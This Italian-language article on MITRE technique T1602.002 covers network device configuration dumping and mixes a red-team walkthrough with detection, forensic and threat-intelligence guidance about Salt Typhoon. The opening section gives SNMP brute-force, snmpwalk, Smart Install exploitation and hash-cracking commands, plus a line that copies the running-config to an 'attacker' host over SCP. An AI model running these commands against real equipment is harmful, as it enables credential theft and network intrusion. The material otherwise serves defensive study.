Dump Configurazione Apparati di Rete: Network Device Configuration Dump (T1602.002)

In un ingaggio red team autorizzato, l'estrazione della configurazione di un apparato di rete parte quasi sempre dalla ricognizione dei servizi di management esposti. Uno scan mirato con Nmap (open source) verso porte tipiche come 161/udp (SNMP), 4786/tcp (Smart Install), 22/tcp e 23/tcp fornisce la superficie iniziale:

nmap -sU -p161 --script snmp-info,snmp-brute

Se SNMP risponde con community deboli tipo public o private, il passo successivo è enumerare gli OID rilevanti. snmpwalk dal pacchetto net-snmp (open source) permette di leggere l'MIB e, con community RW, di forzare il device a esportare la configurazione via TFTP verso un server controllato:

snmpwalk -v2c -c public 1.3.6.1.4.1.9.9.96

Su piattaforme Cisco IOS l'OID CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96) consente esattamente questa operazione: si imposta la sorgente (running-config), la destinazione (network file), il protocollo (TFTP) e l'IP del server, quindi si triggera la copia. Il tool copy-router-config.pl e il modulo Metasploit auxiliary/scanner/snmp/cisco_config_tftp (open source) automatizzano la sequenza.

Per Smart Install, il framework SIET — Smart Install Exploitation Tool (open source, disponibile su GitHub) sfrutta l'assenza di autenticazione del protocollo per ottenere la configurazione:

python siet.py -g -i

Il file <ip>.conf viene salvato in locale e contiene running-config completa, spesso con hash di tipo 7 (reversibili banalmente con ciscot7, open source) o hash type 5/8/9 attaccabili con Hashcat (open source, modalità 500, 5700, 9200, 9300).

Se l'accesso è invece già ottenuto in CLI via SSH, il red teamer esegue direttamente show running-config, show startup-config e show tech-support per catturare l'intero stato dispositivo. L'esfiltrazione può avvenire con copy running-config scp://user@attacker/config.txt per ridurre l'esposizione rispetto a TFTP in chiaro.

Post-estrazione, l'analisi della configurazione con script Python custom o Nipper (a pagamento, con edizione community limitata) evidenzia credenziali, chiavi VPN e ACL utili per pianificare movimento laterale. In lab, un ambiente GNS3 o EVE-NG (entrambi freemium) con immagini IOS/IOS-XE consente di provare l'intera catena senza toccare produzione.

La detection di T1602.002 richiede visibilità sul piano di management degli apparati di rete, un'area storicamente sottomonitorata. Le fonti di log fondamentali sono il syslog degli apparati, la contabilità AAA (TACACS+/RADIUS), i log di accesso SNMP e i flussi NetFlow/IPFIX verso e da le interfacce di gestione.

Sul fronte syslog, gli eventi Cisco IOS più significativi sono %SYS-5-CONFIG_I (modifica di configurazione da terminale), %SYS-6-LOGGINGHOST_STARTSTOP, e soprattutto %SNMP-5-COLDSTART accompagnato da eventi %SYS-5-CONFIG_NV_I che indicano operazioni di copia configurazione. Un allarme deve scattare quando si osservano comandi show running-config, show startup-config o copy running-config provenienti da IP non presenti nella lista degli amministratori autorizzati, elemento di tuning esplicito nella strategia DET0233 (parametro AuthorizedAdminIPs).

Per SNMP, il monitoraggio deve concentrarsi su query verso OID di configurazione, in particolare 1.3.6.1.4.1.9.9.96 (CISCO-CONFIG-COPY-MIB) e set operation da sorgenti non riconosciute. Community string legacy v1/v2c su rete di management sono di per sé un indicatore di rischio; la migrazione a SNMPv3 con authPriv riduce drasticamente il rumore e permette detection basata su utenza autenticata.

Smart Install (SMI) è un vettore particolarmente insidioso: traffico verso la porta 4786/tcp da sorgenti diverse dal director autorizzato deve essere bloccato in prevention e generare alert immediato. Firme IDS/IPS specifiche per SMI sono disponibili in Snort e Suricata (entrambi open source).

A livello di flussi, sono sospetti trasferimenti TFTP (69/udp), FTP (21/tcp) o SCP (22/tcp) originati da apparati di rete verso destinazioni esterne alla subnet di management, soprattutto fuori dalle finestre di manutenzione (parametro TimeWindow). Il baseline della frequenza normale di esportazione configurazioni (NormalConfigExportRate) permette di individuare picchi anomali, tipici di dump massivi.

Correlazione utile in SIEM (Splunk, Elastic Security, Microsoft Sentinel — tutti a pagamento o freemium): autenticazione amministrativa seguita entro pochi minuti da comando di dump configurazione e da trasferimento outbound. Questa sequenza a tre stadi ha alta specificità.

Falsi positivi tipici derivano da sistemi di backup configurazione legittimi come RANCID (open source), Oxidized (open source) o SolarWinds NCM (a pagamento). L'allowlist degli IP di questi collector e delle credenziali di servizio dedicate elimina la maggior parte del rumore, lasciando emergere le anomalie reali.

L'analisi forense di un incidente che coinvolge T1602.002 richiede un approccio diverso rispetto alla forensics tradizionale su endpoint: gli apparati di rete non offrono file system esplorabili con strumenti classici e la volatilità dei dati è estrema. La priorità è raccogliere lo stato del dispositivo prima di qualsiasi reboot che cancellerebbe la running-config in memoria.

La prima azione è acquisire un live snapshot del dispositivo compromesso via CLI, tipicamente con show tech-support, show running-config, show startup-config, show users, show logging e show snmp. Su Cisco IOS-XE il comando show platform software integrity fornisce hash del sistema utili a verificare compromissioni firmware. L'output va salvato con hash SHA-256 per catena di custodia e trasferito via SCP verso una workstation forense isolata.

La timeline si ricostruisce incrociando più fonti. Il syslog centralizzato (idealmente su collector esterno tipo rsyslog o syslog-ng, entrambi open source) conserva eventi che sul dispositivo potrebbero essere stati sovrascritti dal buffer circolare. Eventi rilevanti includono login amministrativi, cambi di modalità (enable, config terminal), comandi di visualizzazione configurazione e operazioni di copy. La correlazione con log TACACS+/RADIUS fornisce l'utenza e il timestamp autoritativo.

I NetFlow/IPFIX record archiviati permettono di identificare il trasferimento della configurazione: un flusso outbound su porta 69/udp (TFTP), 21/tcp (FTP) o 22/tcp (SCP) dal management IP del dispositivo verso un IP non appartenente all'infrastruttura di backup è un artefatto chiave. Strumenti come SiLK (open source), nfdump (open source) o Elastiflow (freemium) supportano queste query storiche.

Sul lato attaccante, se un host interno è stato usato come pivot, l'analisi forense endpoint cerca artefatti coerenti: file di configurazione salvati in directory temporanee, storia dei comandi shell con invocazioni di snmpwalk, snmpset, tftp, o script Python legati a SIET e cisco_config_tftp. Su Windows, la history di PuTTY (chiave di registro HKCU\Software\SimonTatham\PuTTY\Sessions) e i log di WinSCP possono rivelare sessioni verso l'apparato. Su Linux, ~/.bash_history, ~/.ssh/known_hosts e core dump di processi di rete forniscono elementi analoghi.

Nel caso Salt Typhoon (G1045), gli investigatori hanno correlato dump di configurazione con successivo riutilizzo di credenziali estratte per accedere lateralmente ad altri apparati e sistemi di supporto. La catena investigativa deve quindi estendersi ai sistemi che condividono credenziali con l'apparato compromesso: TACACS server, jump host e sistemi di gestione centralizzata. La configurazione stessa, una volta recuperata dal dispositivo o dai backup pre-incidente, va confrontata versione per versione per identificare modifiche persistenti eventualmente introdotte dall'attaccante.

Il panorama di threat intelligence relativo a T1602.002 è dominato da attori state-sponsored con interesse strategico per le infrastrutture di telecomunicazione e per il piano di controllo delle reti bersaglio. Il dump di configurazione non è opportunistico: richiede conoscenza specifica dei sistemi operativi di rete (Cisco IOS/IOS-XE/NX-OS, Juniper Junos, Arista EOS) e capacità di operare in ambienti dove il rumore è immediatamente visibile agli operatori NOC.

Il profilo più rilevante è Salt Typhoon (G1045), attore associato a operazioni contro operatori di telecomunicazioni. Secondo i dati ATT&CK, il gruppo ha specificamente tentato di acquisire credenziali attraverso il dump della configurazione di apparati di rete. Questo comportamento si inserisce in una strategia più ampia di persistenza a lungo termine su infrastrutture carrier, dove il controllo di router core o edge consente intercettazione di traffico, manipolazione di routing e accesso privilegiato a metadati di comunicazione. L'estrazione della configurazione fornisce non solo credenziali locali, ma anche chiavi VPN, community SNMP, secret TACACS e mappa della topologia utili per espandersi verso peer BGP e apparati adiacenti.

Il pattern operativo tipico osservato nel targeting di apparati di rete segue una sequenza abbastanza costante: exploitation di vulnerabilità note o credenziali deboli sul piano di management, elevazione a privilegi enable/root, estrazione della configurazione, offline cracking degli hash password, riutilizzo delle credenziali per lateral movement verso altri apparati dello stesso amministratore. La persistenza spesso non richiede impianti custom: bastano account aggiunti alla configurazione o modifiche a linee VTY per garantire re-entry.

Dal punto di vista geografico, il targeting di telecomunicazioni è concentrato su operatori occidentali, con interesse particolare per gateway internazionali e infrastrutture di lawful interception. Il tool overlap con altre operazioni cinesi include utilizzo di living-off-the-land binaries sui pochi endpoint di supporto compromessi, tunneling via protocolli legittimi e uso esteso di credenziali valide per ridurre l'impronta di malware.

Il trend più significativo è lo spostamento del baricentro dell'attacco dagli endpoint tradizionali agli apparati di rete e ai dispositivi edge (firewall, VPN concentrator, load balancer). Questi sistemi sono spesso privi di EDR, hanno cicli di patch lenti, espongono management plane con protocolli legacy e sono gestiti da team separati dalla sicurezza. La combinazione rende il dump di configurazione una tecnica ad alto ROI: bassa probabilità di detection, alto rendimento in termini di credenziali e intelligence sulla rete bersaglio. La risposta strategica raccomandata combina segmentazione del management network, migrazione a SNMPv3 authPriv, disabilitazione di Smart Install ove non necessario, e integrazione dei log di rete nel SIEM con la stessa priorità degli endpoint critici.

MITRE ATT&CK: tecnica T1602.002, tattica TA0009, gruppo G1045 (Salt Typhoon), mitigazioni M1030, M1031, M1037, M1041, M1051, M1054, detection strategy DET0233 (AN0647). MITRE D3FEND per mapping tecniche difensive. Documentazione Cisco IOS su CISCO-CONFIG-COPY-MIB e Smart Install. Parte dei contenuti operativi (comandi, tool, artefatti forensi) deriva da conoscenza professionale consolidata di cybersecurity applicata a network device security e verificata su documentazione ufficiale dei tool citati.